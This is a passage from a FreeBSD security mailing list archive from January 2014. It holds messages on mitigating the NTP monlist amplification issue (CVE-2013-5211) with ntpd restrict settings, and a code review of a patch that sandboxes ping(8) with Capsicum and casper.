From owner-freebsd-security@FreeBSD.ORG Sun Jan 12 22:15:11 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2A6251F0 for ; Sun, 12 Jan 2014 22:15:11 +0000 (UTC) Received: from batman.home4u.ch (batman.home4u.ch [IPv6:2001:8a8:1005:1::2]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AC68115E0 for ; Sun, 12 Jan 2014 22:15:09 +0000 (UTC) X-Virus-Scanned: amavisd-new at home4u.ch Received: from tatsu.wenks.ch (fabian@superman.wenks.ch [IPv6:2001:8a8:1005:1::3]) (authenticated bits=0) by batman.home4u.ch (8.14.5/8.14.5) with ESMTP id s0CMF2nP052646 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Sun, 12 Jan 2014 23:15:05 +0100 (CET) (envelope-from fabian@wenks.ch) Message-ID: <52D31418.2000802@wenks.ch> Date: Sun, 12 Jan 2014 23:15:52 +0100 From: Fabian Wenk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: freebsd-security@freebsd.org Subject: Re: UNS: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <21199.26019.698585.355699@hergotha.csail.mit.edu> <52CF8243.7060906@delphij.net> In-Reply-To: <52CF8243.7060906@delphij.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jan 2014 22:15:11 -0000 Hello Xin On 10.01.2014 06:16, Xin Li wrote: > On 1/9/14, 7:14 PM, Garrett Wollman wrote: >> <> said: >> >>> Other than updating ntpd, you can filter out requests to >>> 'monlist' command with 'restrict ... noquery' option that >>> disables some queries for the internal ntpd status, including >>> 'monlist'. >> >> For a "pure" client, I would suggest "restrict default ignore" >> ought to be the norm. (Followed by entries to unrestrict localhost >> over v4 and v6.) > > That would block clock synchronization too, unless one explicitly > unrestrict all NTP servers. With pool.ntp.org, this is not really > practical. > > The current default on head stable branches should work for most people. I just check out through svnweb, but I would suggest the following settings, which will properly work for all versions of ntpd. See also the added 'limited' options, it helps to protect from spoofed amplification attacks too: # by default, don't trust and don't allow modifications # see -> https://support.ntp.org/bugs/show_bug.cgi?id=320 # should be fixed with ntp-4.2.5p178 (or later), eg. -4 / -6 not # needed any more restrict -4 default limited kod notrap nomodify nopeer noquery restrict -6 default limited kod notrap nomodify nopeer noquery restrict default limited kod notrap nomodify nopeer noquery bye Fabian From owner-freebsd-security@FreeBSD.ORG Mon Jan 13 10:08:48 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D0E755F4; Mon, 13 Jan 2014 10:08:48 +0000 (UTC) Received: from mail-wi0-x235.google.com (mail-wi0-x235.google.com [IPv6:2a00:1450:400c:c05::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 41CED1B18; Mon, 13 Jan 2014 10:08:48 +0000 (UTC) Received: by mail-wi0-f181.google.com with SMTP id hq4so1941887wib.2 for ; Mon, 13 Jan 2014 02:08:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=tHadce/cvRs4FG7LAPHLRup2HliuGKsxmP1KL4YX7E8=; b=0xEQIBic/fERbSNZYirP+1s3BfDGLSvnGKkg8dST1boiCgCjBuF9PCukfkdhVPAKwa +kjjuFu205MeIiMuoloM9P9JMjb2ICkcgjqmAJcZctY/qUxpPLcBO8YyRjDz+BlRcBh6 qONiW3IaLwxZXhdV5Hf+IqzBbT9VLyYSzbEaXHSJux1giFTou5Ve2J0MNg1YitOVmok7 RyFJGJN5Aq/MF/BLG0ggDyZAV/MH+bqW3MEp/VHA8ZoaKw+DZdMZIe3QzzCvwHEQLXhp 8WhXPZNMZO3Nk6kpEhizvt/6uHnv8Kj6slUB+aM7RMXoZHPpP+SFJPNGTTXRDW50AJl4 jeIg== MIME-Version: 1.0 X-Received: by 10.180.76.42 with SMTP id h10mr14505799wiw.46.1389607726549; Mon, 13 Jan 2014 02:08:46 -0800 (PST) Received: by 10.194.81.8 with HTTP; Mon, 13 Jan 2014 02:08:46 -0800 (PST) In-Reply-To: <52CF82C0.9040708@delphij.net> References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> Date: Mon, 13 Jan 2014 11:08:46 +0100 Message-ID: Subject: Re: NTP security hole CVE-2013-5211? From: Cristiano Deana To: Xin LI Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-security@freebsd.org, Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jan 2014 10:08:49 -0000 On Fri, Jan 10, 2014 at 6:18 AM, Xin Li wrote: Hi, We will have an advisory next week. If a NTP server is properly > configured, it's likely that they are not affected > I had this problem in november, and ask to -current to integrate the new versione of ntpd in base (see my mail "[request] ntp upgrade" 11/27/13 http://lists.freebsd.org/pipermail/freebsd-current/2013-November/046822.html ). I tried several workaround with config and policy, and ended up you MUST have 4.2.7 to stop these kind of attacks. I think it's better to upgrade the version in base AND to write a security advisory. Thank you -- Cris, member of G.U.F.I Italian FreeBSD User Group http://www.gufi.org/ From owner-freebsd-security@FreeBSD.ORG Mon Jan 13 17:28:27 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 93B4E4EC for ; Mon, 13 Jan 2014 17:28:27 +0000 (UTC) Received: from mail-la0-x235.google.com (mail-la0-x235.google.com [IPv6:2a00:1450:4010:c03::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 06A341478 for ; Mon, 13 Jan 2014 17:28:26 +0000 (UTC) Received: by mail-la0-f53.google.com with SMTP id e16so2608123lan.26 for ; Mon, 13 Jan 2014 09:28:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=2nTulnPWr7Efjxl8kpxg+IcXMR0vozDp+o/k0pSQ40Y=; b=tet7Iw9PKP7b986HMbZThyJPGJp0Ummnrad/AVKeU5zhGwmEZyS1f0EzJsAsxRbs0f Ri1T8XpO1+lKlOGgYpbxKcaLR3oswnYxpG+EEUT4arOkL/13CivEF6i+uCep18YMB3YI r9Y5ppOLRJZF3w2UlXVJvJwuTnrTPjV0yRj3CaHzMF4IoTZB+RoeTlt213dJhEHXLowA V7v+FBWKcHi5Fpti0gGhtNyqBT0aGy6QB2Tyfa+TnKYVtb/qrxamyzejlU2N/ALtM4iM wysWrDCtvBADRRuLSEzYaTsJjaTMtfSyTbO3JjhWvHu8+j4kDM4bhdpQKvjzhU5CIIpq n6yA== X-Received: by 10.152.19.133 with SMTP id f5mr1820362lae.52.1389634105071; Mon, 13 Jan 2014 09:28:25 -0800 (PST) Received: from edge.bac.lab ([91.123.18.167]) by mx.google.com with ESMTPSA id j6sm7230413lam.6.2014.01.13.09.28.18 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 13 Jan 2014 09:28:24 -0800 (PST) Date: Mon, 13 Jan 2014 21:28:08 +0400 From: Mikhail To: freebsd-security@freebsd.org Subject: Re: capsicum and ping(8) Message-ID: <20140113172808.GA10345@edge.bac.lab> References: <20140109161904.GA96816@edge.bac.lab> <20140109200256.GA1658@garage.freebsd.pl> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="Y/WcH0a6A93yCHGr" Content-Disposition: inline In-Reply-To: <20140109200256.GA1658@garage.freebsd.pl> User-Agent: Mutt/1.5.22 (2013-10-16) X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jan 2014 17:28:27 -0000 --Y/WcH0a6A93yCHGr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hello, Pawel! On 00:02 10-Jan 2014 Pawel Jakub Dawidek wrote: > Now that you added casper to the game, I'd move gethostbyname2() until > after we enter the sandbox and open system.dns service, but before we > limit the service to only reverse lookups. It does process network > packets after all. I've moved casper initialization before our first gethostbyname2() and added statements to use those, if they're available. I didn't move cap_enter() for now, since our hands are still tied with bind() and connect() system calls which use the results of those DNS lookups. Also, code, limiting DNS resolution only to 'ADDR' after those gethostbyname2()'s has been added. > [...] > > +int s; /* send socket file descriptor */ > > +int s1; /* receive socket file descriptor */ > > I'd much prefer to use some more meaningful variable names. Like 'ssend' > and 'srecv' or something similar. Fixed. > > +#ifdef HAVE_LIBCAPSICUM > > +cap_channel_t *capdns; > > +#endif /* HAVE_LIBCAPSICUM */ > > Not sure why other globals variables aren't static, but it should be > static. I don't think it is used anywhere else outside this source file. Fixed. > > s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); > > sockerrno = errno; > > + s1 = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); > > + sock1errno = errno; > > I wonder if dup(2) would be more intuitive here. Looking at the code I > expect those two sockets to be different, but they aren't. dup(2) would > make that 100% clear. I'll leave it to you to decide, I don't have a > strong opinion on this, really. > > I'd still prefer to see the explanation you gave in the e-mail why do we > need those two sockets in a comment. Comment has been added. I've tried dup(), but seem it duplicates just a reference to an object, but not the object itself, and we end up with one socket (as in old ping) and two references to it, and this socket is failing to receive multicast/broadcast. Maybe I misunderstood your proposition. > > + if (options & F_NUMERIC) > > + cansandbox = 1; > > Can you make 'cansandbox' to be of type 'bool'? Fixed. > > + /* > > + * Here we enter capapility mode (see capsicum(4)). Further down > > + * creation of new file descriptors is forbidden. > > This is not entirely true. You can create file descriptors with dup(2), > dup2(2), fcntl(F_DUP2FD), socket(2), etc. What you can't do is to > address global namespaces. I'd clarify that comment. Fixed. > > + cap_rights_init(&rights_s1, CAP_RECV, CAP_EVENT, CAP_SETSOCKOPT); > > + if (cap_rights_limit(s1, &rights_s1) < 0 && errno != ENOSYS) > > + err(1, "cap_rights_limit socket1"); > > + > > + cap_rights_init(&rights_s, CAP_SEND, CAP_SETSOCKOPT); > > + if (cap_rights_limit(s, &rights_s) < 0 && errno != ENOSYS) > > + err(1, "cap_rights_limit socket"); > [...] > > + cap_rights_clear(&rights_s1, CAP_SETSOCKOPT); > > + if (cap_rights_limit(s1, &rights_s1) < 0 && errno != ENOSYS) > > + err(1, "cap_rights_limit socket1 setsockopt"); > [...] > > + /* > > + * We don't call setsockopt() anywhere further for 's', we don't need > > + * corresponding capability, drop it. > > + */ > > + cap_rights_clear(&rights_s, CAP_SETSOCKOPT); > > + if (cap_rights_limit(s, &rights_s) < 0 && errno != ENOSYS) > > + err(1, "cap_rights_limit socket setsockopt"); > > This made me wonder. We have two choices here: either use > cap_rights_init() first and then drop capability rights we don't need > anymore with cap_rights_clear() as you did or to use cap_rights_init() > twice and provide list of capability rights explicitly. I think I'm more > in favour of providing capability rights explicitly. If we add some > additional rights in the future to the first cap_rights_init() we may > forget add them to cap_rights_clear() below. That's why I'd change the > code not to use cap_rights_clear(), but add a comment above second > cap_rights_init() round saying which right we are removing. As a nice > side-effect this would allow us to use only one 'rights' variable. Fixed. Also, I've fixed few other things which were found: - Makefile is changed to not to define 'HAVE_LIBCAPSICUM', if 'RESCUE' is defined, it allows us to pass 'rescue' build since for now we can't link it with libcapsicum (changing Makefile looks more neat than .c file); - clearing CAP_SETSOCKOPT for 'srecv' was moved lower; - closing comments for short #ifdef/#endifs were removed; - libnv references were removed from Makefile, since we don't use it directly. --Y/WcH0a6A93yCHGr Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="ping_20140113.patch" Index: sbin/ping/Makefile =================================================================== --- sbin/ping/Makefile (revision 260583) +++ sbin/ping/Makefile (working copy) @@ -1,6 +1,8 @@ # @(#)Makefile 8.1 (Berkeley) 6/5/93 # $FreeBSD$ +.include + PROG= ping MAN= ping.8 BINOWN= root @@ -9,6 +11,12 @@ DPADD= ${LIBM} LDADD= -lm +.if ${MK_CASPER} != "no" && !defined(RESCUE) +DPADD+= ${LIBCAPSICUM} +LDADD+= -lcapsicum +CFLAGS+=-DHAVE_LIBCAPSICUM +.endif + .if !defined(RELEASE_CRUNCH) CFLAGS+=-DIPSEC DPADD+= ${LIBIPSEC} Index: sbin/ping/ping.c =================================================================== --- sbin/ping/ping.c (revision 260583) +++ sbin/ping/ping.c (working copy) @@ -63,6 +63,7 @@ */ #include /* NB: we rely on this for */ +#include #include #include #include @@ -74,6 +75,11 @@ #include #include #include +#if HAVE_LIBCAPSICUM +#include +#include +#include +#endif #ifdef IPSEC #include @@ -157,7 +163,8 @@ struct sockaddr_in whereto; /* who to ping */ int datalen = DEFDATALEN; int maxpayload; -int s; /* socket file descriptor */ +int ssend; /* send socket file descriptor */ +int srecv; /* receive socket file descriptor */ u_char outpackhdr[IP_MAXPACKET], *outpack; char BBELL = '\a'; /* characters written for MISSED and AUDIBLE */ char BSPACE = '\b'; /* characters written for flood */ @@ -197,8 +204,15 @@ volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */ volatile sig_atomic_t siginfo_p; +#if HAVE_LIBCAPSICUM +static cap_channel_t *capdns; +#endif + static void fill(char *, char *); static u_short in_cksum(u_short *, int); +#if HAVE_LIBCAPSICUM +static cap_channel_t *capdns_setup(void); +#endif static void check_status(void); static void finish(void) __dead2; static void pinger(void); @@ -233,8 +247,8 @@ struct sockaddr_in *to; double t; u_long alarmtimeout, ultmp; - int almost_done, ch, df, hold, i, icmp_len, mib[4], preload, sockerrno, - tos, ttl; + int almost_done, ch, df, hold, i, icmp_len, mib[4], preload, + ssend_errno, srecv_errno, tos, ttl; char ctrl[CMSG_SPACE(sizeof(struct timeval))]; char hnamebuf[MAXHOSTNAMELEN], snamebuf[MAXHOSTNAMELEN]; #ifdef IP_OPTIONS @@ -246,14 +260,26 @@ #ifdef IPSEC_POLICY_IPSEC policy_in = policy_out = NULL; #endif + cap_rights_t rights; + bool cansandbox = false; /* * Do the stuff that we need root priv's for *first*, and * then drop our setuid bit. Save error reporting for * after arg parsing. + * + * Historicaly ping was using one socket 's' for sending and for + * receiving. After capsicum(4) related changes we use two + * sockets. It was done for special ping use case - when user + * issue ping on multicast or broadcast address replies come + * from different addresses, not from the address we + * connect(2)'ed to, and send socket do not receive those + * packets. */ - s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); - sockerrno = errno; + ssend = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); + ssend_errno = errno; + srecv = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); + srecv_errno = errno; if (setuid(getuid()) != 0) err(EX_NOPERM, "setuid() failed"); @@ -527,6 +553,9 @@ if (options & F_PINGFILLED) { fill((char *)datap, payload); } +#if HAVE_LIBCAPSICUM + capdns = capdns_setup(); +#endif if (source) { bzero((char *)&sock_in, sizeof(sock_in)); sock_in.sin_family = AF_INET; @@ -533,7 +562,13 @@ if (inet_aton(source, &sock_in.sin_addr) != 0) { shostname = source; } else { - hp = gethostbyname2(source, AF_INET); +#if HAVE_LIBCAPSICUM + if (capdns != NULL) + hp = cap_gethostbyname2(capdns, source, + AF_INET); + else +#endif + hp = gethostbyname2(source, AF_INET); if (!hp) errx(EX_NOHOST, "cannot resolve %s: %s", source, hstrerror(h_errno)); @@ -549,7 +584,7 @@ snamebuf[sizeof(snamebuf) - 1] = '\0'; shostname = snamebuf; } - if (bind(s, (struct sockaddr *)&sock_in, sizeof sock_in) == -1) + if (bind(ssend, (struct sockaddr *)&sock_in, sizeof sock_in) == -1) err(1, "bind"); } @@ -560,7 +595,12 @@ if (inet_aton(target, &to->sin_addr) != 0) { hostname = target; } else { - hp = gethostbyname2(target, AF_INET); +#if HAVE_LIBCAPSICUM + if (capdns != NULL) + hp = cap_gethostbyname2(capdns, target, AF_INET); + else +#endif + hp = gethostbyname2(target, AF_INET); if (!hp) errx(EX_NOHOST, "cannot resolve %s: %s", target, hstrerror(h_errno)); @@ -573,6 +613,29 @@ hostname = hnamebuf; } +#if HAVE_LIBCAPSICUM + /* From now on we will use only reverse DNS lookups */ + if (capdns != NULL) { + const char *types[1]; + types[0] = "ADDR"; + if (cap_dns_type_limit(capdns, types, 1) < 0) + err(1, "unable to limit access to system.dns service"); + } +#endif + + if (ssend < 0) { + errno = ssend_errno; + err(EX_OSERR, "ssend socket"); + } + + if (srecv < 0) { + errno = srecv_errno; + err(EX_OSERR, "srecv socket"); + } + + if (connect(ssend, (struct sockaddr *)&whereto, sizeof(whereto)) != 0) + err(1, "connect"); + if (options & F_FLOOD && options & F_INTERVAL) errx(EX_USAGE, "-f and -i: incompatible options"); @@ -593,16 +656,15 @@ ident = getpid() & 0xFFFF; - if (s < 0) { - errno = sockerrno; - err(EX_OSERR, "socket"); - } hold = 1; - if (options & F_SO_DEBUG) - (void)setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&hold, + if (options & F_SO_DEBUG) { + (void)setsockopt(ssend, SOL_SOCKET, SO_DEBUG, (char *)&hold, sizeof(hold)); + (void)setsockopt(srecv, SOL_SOCKET, SO_DEBUG, (char *)&hold, + sizeof(hold)); + } if (options & F_SO_DONTROUTE) - (void)setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&hold, + (void)setsockopt(ssend, SOL_SOCKET, SO_DONTROUTE, (char *)&hold, sizeof(hold)); #ifdef IPSEC #ifdef IPSEC_POLICY_IPSEC @@ -612,7 +674,7 @@ buf = ipsec_set_policy(policy_in, strlen(policy_in)); if (buf == NULL) errx(EX_CONFIG, "%s", ipsec_strerror()); - if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY, + if (setsockopt(srecv, IPPROTO_IP, IP_IPSEC_POLICY, buf, ipsec_get_policylen(buf)) < 0) err(EX_CONFIG, "ipsec policy cannot be configured"); @@ -623,7 +685,7 @@ buf = ipsec_set_policy(policy_out, strlen(policy_out)); if (buf == NULL) errx(EX_CONFIG, "%s", ipsec_strerror()); - if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY, + if (setsockopt(ssend, IPPROTO_IP, IP_IPSEC_POLICY, buf, ipsec_get_policylen(buf)) < 0) err(EX_CONFIG, "ipsec policy cannot be configured"); @@ -644,7 +706,7 @@ if (sysctl(mib, 4, &ttl, &sz, NULL, 0) == -1) err(1, "sysctl(net.inet.ip.ttl)"); } - setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hold, sizeof(hold)); + setsockopt(ssend, IPPROTO_IP, IP_HDRINCL, &hold, sizeof(hold)); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip) >> 2; ip->ip_tos = tos; @@ -655,6 +717,33 @@ ip->ip_src.s_addr = source ? sock_in.sin_addr.s_addr : INADDR_ANY; ip->ip_dst = to->sin_addr; } + + if (options & F_NUMERIC) + cansandbox = true; +#if HAVE_LIBCAPSICUM + else if (capdns != NULL) + cansandbox = true; +#endif + + /* + * Here we enter capapility mode. Further down access to global + * namespaces (e.g filesystem) is restricted (see capsicum(4)). + * We must connect(2) our socket before this point. + */ + if (cansandbox == true && cap_enter() < 0 && errno != ENOSYS) + err(1, "cap_enter"); + + if (cap_sandboxed()) + fprintf(stderr, "capability mode sandbox enabled\n"); + + cap_rights_init(&rights, CAP_RECV, CAP_EVENT, CAP_SETSOCKOPT); + if (cap_rights_limit(srecv, &rights) < 0 && errno != ENOSYS) + err(1, "cap_rights_limit srecv"); + + cap_rights_init(&rights, CAP_SEND, CAP_SETSOCKOPT); + if (cap_rights_limit(ssend, &rights) < 0 && errno != ENOSYS) + err(1, "cap_rights_limit ssend"); + /* record route option */ if (options & F_RROUTE) { #ifdef IP_OPTIONS @@ -663,7 +752,7 @@ rspace[IPOPT_OLEN] = sizeof(rspace) - 1; rspace[IPOPT_OFFSET] = IPOPT_MINOFF; rspace[sizeof(rspace) - 1] = IPOPT_EOL; - if (setsockopt(s, IPPROTO_IP, IP_OPTIONS, rspace, + if (setsockopt(ssend, IPPROTO_IP, IP_OPTIONS, rspace, sizeof(rspace)) < 0) err(EX_OSERR, "setsockopt IP_OPTIONS"); #else @@ -673,25 +762,25 @@ } if (options & F_TTL) { - if (setsockopt(s, IPPROTO_IP, IP_TTL, &ttl, + if (setsockopt(ssend, IPPROTO_IP, IP_TTL, &ttl, sizeof(ttl)) < 0) { err(EX_OSERR, "setsockopt IP_TTL"); } } if (options & F_NOLOOP) { - if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, + if (setsockopt(ssend, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop)) < 0) { err(EX_OSERR, "setsockopt IP_MULTICAST_LOOP"); } } if (options & F_MTTL) { - if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL, &mttl, + if (setsockopt(ssend, IPPROTO_IP, IP_MULTICAST_TTL, &mttl, sizeof(mttl)) < 0) { err(EX_OSERR, "setsockopt IP_MULTICAST_TTL"); } } if (options & F_MIF) { - if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr, + if (setsockopt(ssend, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr, sizeof(ifaddr)) < 0) { err(EX_OSERR, "setsockopt IP_MULTICAST_IF"); } @@ -698,7 +787,7 @@ } #ifdef SO_TIMESTAMP { int on = 1; - if (setsockopt(s, SOL_SOCKET, SO_TIMESTAMP, &on, sizeof(on)) < 0) + if (setsockopt(srecv, SOL_SOCKET, SO_TIMESTAMP, &on, sizeof(on)) < 0) err(EX_OSERR, "setsockopt SO_TIMESTAMP"); } #endif @@ -733,11 +822,19 @@ * as well. */ hold = IP_MAXPACKET + 128; - (void)setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *)&hold, + (void)setsockopt(srecv, SOL_SOCKET, SO_RCVBUF, (char *)&hold, sizeof(hold)); + /* CAP_SETSOCKOPT removed */ + cap_rights_init(&rights, CAP_RECV, CAP_EVENT); + if (cap_rights_limit(srecv, &rights) < 0 && errno != ENOSYS) + err(1, "cap_rights_limit srecv setsockopt"); if (uid == 0) - (void)setsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *)&hold, + (void)setsockopt(ssend, SOL_SOCKET, SO_SNDBUF, (char *)&hold, sizeof(hold)); + /* CAP_SETSOCKOPT removed */ + cap_rights_init(&rights, CAP_SEND); + if (cap_rights_limit(ssend, &rights) < 0 && errno != ENOSYS) + err(1, "cap_rights_limit ssend setsockopt"); if (to->sin_family == AF_INET) { (void)printf("PING %s (%s)", hostname, @@ -817,10 +914,10 @@ int cc, n; check_status(); - if ((unsigned)s >= FD_SETSIZE) + if ((unsigned)srecv >= FD_SETSIZE) errx(EX_OSERR, "descriptor too large"); FD_ZERO(&rfds); - FD_SET(s, &rfds); + FD_SET(srecv, &rfds); (void)gettimeofday(&now, NULL); timeout.tv_sec = last.tv_sec + intvl.tv_sec - now.tv_sec; timeout.tv_usec = last.tv_usec + intvl.tv_usec - now.tv_usec; @@ -834,7 +931,7 @@ } if (timeout.tv_sec < 0) timerclear(&timeout); - n = select(s + 1, &rfds, NULL, NULL, &timeout); + n = select(srecv + 1, &rfds, NULL, NULL, &timeout); if (n < 0) continue; /* Must be EINTR. */ if (n == 1) { @@ -845,7 +942,7 @@ msg.msg_controllen = sizeof(ctrl); #endif msg.msg_namelen = sizeof(from); - if ((cc = recvmsg(s, &msg, 0)) < 0) { + if ((cc = recvmsg(srecv, &msg, 0)) < 0) { if (errno == EINTR) continue; warn("recvmsg"); @@ -981,9 +1078,7 @@ ip->ip_sum = in_cksum((u_short *)outpackhdr, cc); packet = outpackhdr; } - i = sendto(s, (char *)packet, cc, 0, (struct sockaddr *)&whereto, - sizeof(whereto)); - + i = send(ssend, (char *)packet, cc, 0); if (i < 0 || i != cc) { if (i < 0) { if (options & F_FLOOD && errno == ENOBUFS) { @@ -1604,12 +1699,21 @@ struct hostent *hp; static char buf[16 + 3 + MAXHOSTNAMELEN]; - if ((options & F_NUMERIC) || - !(hp = gethostbyaddr((char *)&ina, 4, AF_INET))) + if (options & F_NUMERIC) return inet_ntoa(ina); + +#if HAVE_LIBCAPSICUM + if (capdns != NULL) + hp = cap_gethostbyaddr(capdns, (char *)&ina, 4, AF_INET); else - (void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name, - inet_ntoa(ina)); +#endif + hp = gethostbyaddr((char *)&ina, 4, AF_INET); + + if (hp == NULL) + return inet_ntoa(ina); + + (void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name, + inet_ntoa(ina)); return(buf); } @@ -1682,6 +1786,36 @@ } } +#if HAVE_LIBCAPSICUM +static cap_channel_t * +capdns_setup(void) +{ + cap_channel_t *capcas, *capdnsloc; + const char *types[2]; + int families[1]; + + capcas = cap_init(); + if (capcas == NULL) { + warn("unable to contact casperd"); + return (NULL); + } + capdnsloc = cap_service_open(capcas, "system.dns"); + /* Casper capability no longer needed. */ + cap_close(capcas); + if (capdnsloc == NULL) + err(1, "unable to open system.dns service"); + types[0] = "NAME"; + types[1] = "ADDR"; + if (cap_dns_type_limit(capdnsloc, types, 2) < 0) + err(1, "unable to limit access to system.dns service"); + families[0] = AF_INET; + if (cap_dns_family_limit(capdnsloc, families, 1) < 0) + err(1, "unable to limit access to system.dns service"); + + return (capdnsloc); +} +#endif /* HAVE_LIBCAPSICUM */ + #if defined(IPSEC) && defined(IPSEC_POLICY_IPSEC) #define SECOPT " [-P policy]" #else --Y/WcH0a6A93yCHGr-- From owner-freebsd-security@FreeBSD.ORG Mon Jan 13 19:41:41 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 78A8AAB7; Mon, 13 Jan 2014 19:41:41 +0000 (UTC) Received: from anubis.delphij.net (anubis.delphij.net [IPv6:2001:470:1:117::25]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 54CE91039; Mon, 13 Jan 2014 19:41:41 +0000 (UTC) Received: from zeta.ixsystems.com (unknown [69.198.165.132]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by anubis.delphij.net (Postfix) with ESMTPSA id 929942942B; Mon, 13 Jan 2014 11:41:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=delphij.net; s=anubis; t=1389642100; bh=F9w4607gvpGpZLNXwDm0eGPFnAZ/dYGAJDOBoitu6UI=; h=Date:From:Reply-To:To:CC:Subject:References:In-Reply-To; b=3pRwkVdY4vnfUS4mMMwwj11PG8J7HUQZWP8gVg2DfbVCr/a7MKM1OxC01ctpCdvXO j9VDZAB5XFVdWEKlDZo8gULIUTyvr9EjpB9cvE7/MHDvqdTWNtUNog7y6ScjvLkges 2+hB+cehCUH4z5BYsWcVJqN2kZh67HNMxLzM0ZyY= Message-ID: <52D44173.1070007@delphij.net> Date: Mon, 13 Jan 2014 11:41:39 -0800 From: Xin Li Organization: The FreeBSD Project MIME-Version: 1.0 To: Cristiano Deana , Xin LI Subject: Re: NTP security hole CVE-2013-5211? References: <52CEAD69.6090000@grosbein.net> <81785015-5083-451C-AC0B-4333CE766618@FreeBSD.org> <52CF82C0.9040708@delphij.net> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Cc: freebsd-security@freebsd.org, Palle Girgensohn X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: d@delphij.net List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jan 2014 19:41:41 -0000 On 01/13/14 02:08, Cristiano Deana wrote: > On Fri, Jan 10, 2014 at 6:18 AM, Xin Li wrote: > > Hi, > > We will have an advisory next week. If a NTP server is properly >> configured, it's likely that they are not affected >> > > I had this problem in november, and ask to -current to integrate the new > versione of ntpd in base (see my mail "[request] ntp upgrade" 11/27/13 > http://lists.freebsd.org/pipermail/freebsd-current/2013-November/046822.html > ). > I tried several workaround with config and policy, and ended up 